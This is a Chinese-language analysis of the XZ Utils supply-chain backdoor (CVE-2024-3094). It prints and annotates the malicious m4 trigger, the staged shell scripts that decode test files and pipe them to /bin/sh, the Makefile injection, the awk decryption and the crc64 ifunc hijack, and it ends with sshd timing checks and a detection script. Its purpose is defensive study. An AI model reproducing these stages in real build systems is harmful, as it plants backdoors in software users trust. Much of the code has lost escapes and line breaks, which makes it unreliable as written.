XZ Utils（CVE-2024-3094）供应链投毒深度分析

$ git shortlog --summary --numbered --email | grep [email protected]273 Jia Tan <[email protected]>2 jiat75 <[email protected]>1 Jia Cheong Tan <[email protected]>

// ./m4/build-to-host.m4// 找到包含“####Hello####”内容的文件的名称gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`❯ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" . 2>/dev/null./tests/files/bad-3-corrupt_lzma2.xz
// 获取xz程序的名字gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*.//g"`❯ echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*.//g"xz
// 修复bad-3-corrupt_lzma2.xz文件，并对其解压，获得bad-3-corrupt_lzma2.sh脚本文件，然后执行它gl_path_map='tr "t -_" " t_-"'gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'sed "rn" ./tests/files/bad-3-corrupt_lzma2.xz | eval 'tr "t -_" " t_-"' | xz -d 2>/dev/null

0x09(t) --> 0x20(空格)0x20(空格) --> 0x09(t)0x2d(-) --> 0x5f(_)0x5f(_) --> 0x2d(-)

# bad-3-corrupt_lzma2.sh, xz-5.6.0####Hello#####†ùZ÷.hj¼eval `grep ^srcdir= config.status`if test -f ../../config.status;theneval `grep ^srcdir= ../../config.status`srcdir="../../$srcdir"fiexport i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "5-51204-37752-115132-203-4116-131" "-377")|xz -F raw --lzma1 -dc|/bin/sh####World####

# 1. 解压./tests/files/good-large_compressed.lzma文件xz -dc $srcdir/tests/files/good-large_compressed.lzma# 2. 对good-large_compressed.lzma文件解压后的文件进行处理eval $i# 3. 只获取第2步结果的末尾31265字节数据tail -c +31265# 4. 对第3步结果中的一些数据进行替换tr "5-51204-37752-115132-203-4116-131" "-377"# 5. 解压第4步获得的正确的压缩文件xz -F raw --lzma1 -dc# 6. 从第5步的输出中获得阶段三的脚本并执行。/bin/sh

# 将good-large_compressed.lzma于此脚本放于同一目录xz -dc good-large_compressed.lzma# 将标准输出重定向到good-large_compressed.sh文件中xz -F raw --lzma1 -dc 1>good-large_compressed.sh

P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"C="pic_flag=" $P""O="^pic_flag=" -fPIC -DPIC"$"R="is_arch_extension_supported"x="__get_cpuid("p="good-large_compressed.lzma"U="bad-3-corrupt_lzma2.xz"eval $zrKcVq# 第一次执行此脚本时，是在源代码根目录下执行的。if test -f config.status; then    ......    eval `grep ^build='x86_64 config.status`    eval `grep ^enable_shared='yes' config.status`    eval `grep ^enable_static=' config.status`    eval `grep ^gl_path_map=' config.status`    eval $zrKccj    # 查找config.status文件中是否有D["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"    if ! grep -qs '["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"' config.status > /dev/null 2>&1;then        exit 0    fi    # 查找config.h文件中是否有#define HAVE_FUNC_ATTRIBUTE_IFUNC 1    if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then        exit 0    fi    # 判断enable_shared选项的值是否为yes    if test "x$enable_shared" != "xyes";then        exit 0    fi    # 判断build选项的值中是否包含"x86_64"和"linux-gnu"    if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then        exit 0    fi    ......    # 判断是否存在./debian/rules文件以及$RPM_ARCH环境变量设置为x86_64    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then        ......        # 修改/src/liblzma/Makefile文件的内容        eval $zrKcTy        b="am__test = $U"        sed -i "/$j/i$b" src/liblzma/Makefile || true        d=`echo $gl_path_map | sed 's/\/\\\\/g'`        b="am__strip_prefix = $d"        sed -i "/$w/i$b" src/liblzma/Makefile || true        b="am__dist_setup = $(am__strip_prefix) | xz -d 2> /dev/null | $(SHELL)"        sed -i "/$E/i$b" src/liblzma/Makefile || true        b="$(top_srcdir)/tests/files/$(am__test)"        s="am__test_dir=$b"        sed -i "/$Q/i$s" src/liblzma/Makefile || true        h="-Wl,--sort-section=name,-X"        if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then            h=$h",-z,now"        fi        j="liblzma_la_LDFLAGS += $h"        sed -i "/$L/i$j" src/liblzma/Makefile || true        sed -i "s/$O/$C/g" libtool || true        k="AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))"        sed -i "s/$u/$k/" src/liblzma/Makefile || true        l="LTDEPS='$(lib_LTDEPS)'; \\n        export top_srcdir='$(top_srcdir)'; \\n        export CC='$(CC)'; \\n        export DEFS='$(DEFS)'; \\n        export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \\n        export INCLUDES='$(INCLUDES)'; \\n        export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \\n        export CPPFLAGS='$(CPPFLAGS)'; \\n        export AM_CFLAGS='$(AM_CFLAGS)'; \\n        export CFLAGS='$(CFLAGS)'; \\n        export AM_V_CCLD='$(am__v_CCLD_$(V))'; \\n        export liblzma_la_LINK='$(liblzma_la_LINK)'; \\n        export libdir='$(libdir)'; \\n        export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \\n        export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \\n        sed rpath $(am__test_dir) | $(am__dist_setup) > /dev/null 2>&1";        sed -i "/$m/i$l" src/liblzma/Makefile || true        eval $zrKcHD    fi......

am__test = bad-3-corrupt_lzma2.xzam__test_dir=$(top_srcdir)/tests/files/$(am__test)am__strip_prefix = tr "t -_" " t_-"am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
# 实际执行的命令sed rpath ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null

......# 第一次执行此脚本时，是在源代码根目录下执行的。if test -f config.status; then    ......# 第二次执行此脚本时，是从/src/liblzma目录下的Makefile中执行的，所以当前目录为/src/liblzma。elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then    ......    # 从good-large_compressed.lzma文件中提取liblzma_la-crc64-fast.o文件，存放在/src/liblzma目录下。    xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/(.)/1n/g" | LC_ALL=C awk 'BEGIN{FS="n";RS="n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true    ......    cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true    V='#endifn#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))nextern int _get_cpuid(int, void*, void*, void*, void*, void*);nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }n#elsen#define _is_arch_extension_supported is_arch_extension_supported'    eval $yosA    # 将crc64_fast.c文件crc64_resolve()函数中调用的is_arch_extension_supported()函数替换为_is_arch_extension_supported()函数    if sed "/return is_arch_extension_supported()/ creturn _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c |         # 在crc64_fast.c文件include "crc_x86_clmul.h"语句下添加一段代码        sed "/include "crc_x86_clmul.h"/a \$V" |         sed "1i # 0 "$top_srcdir/src/liblzma/check/crc64_fast.c"" 2> /dev/null |         #         $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2> /dev/null; then        ......fi

// crc64_fast.c的修改内容，crc32_fast.c与此相似。#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))extern int _get_cpuid(int, void*, void*, void*, void*, void*);static inline bool _is_arch_extension_supported(void) {     int success = 1;     uint32_t r[4];     success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);     const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);     return success && (r[2] & ecx_mask) == ecx_mask; }#else#define _is_arch_extension_supported is_arch_extension_supported#endif
static crc64_func_type crc64_resolve(void) {    return _is_arch_extension_supported()            ? &crc64_arch_optimized : &crc64_generic;}

❯ ldd /usr/sbin/sshd | grep "liblzma"  liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5218fc000)❯ ll /lib/x86_64-linux-gnu/ | grep "liblzma"-rw-r--r--  1 root root 275K 4月   8  2022 liblzma.alrwxrwxrwx  1 root root   47 4月   2 16:10 liblzma.so -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0lrwxrwxrwx  1 root root   47 4月   3 15:24 liblzma.so.5 -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0-rw-r--r--  1 root root 159K 4月   8  2022 liblzma.so.5.2.4

❯ time env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -hoption requires an argument -- hOpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f  31 Mar 2020usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file]            [-E log_file] [-f config_file] [-g login_grace_time]            [-h host_key_file] [-o option] [-p port] [-u len]env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0    0.19s user 0.02s system 90% cpu 0.227 total
❯ time env -i LC_LANG=C TERM=foo LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -hoption requires an argument -- hOpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f  31 Mar 2020usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file]            [-E log_file] [-f config_file] [-g login_grace_time]            [-h host_key_file] [-o option] [-p port] [-u len]env -i LC_LANG=C TERM=foo  /usr/sbin/sshd -h  0.00s user 0.00s system 91% cpu 0.004 total

#! /bin/bash
set -eu
# find path to liblzma used by sshdpath="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"
# does it even exist?if [ "$path" == "" ]thenecho probably not vulnerableexitfi
# check for function signatureif hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410thenecho probably vulnerableelseecho probably not vulnerablefi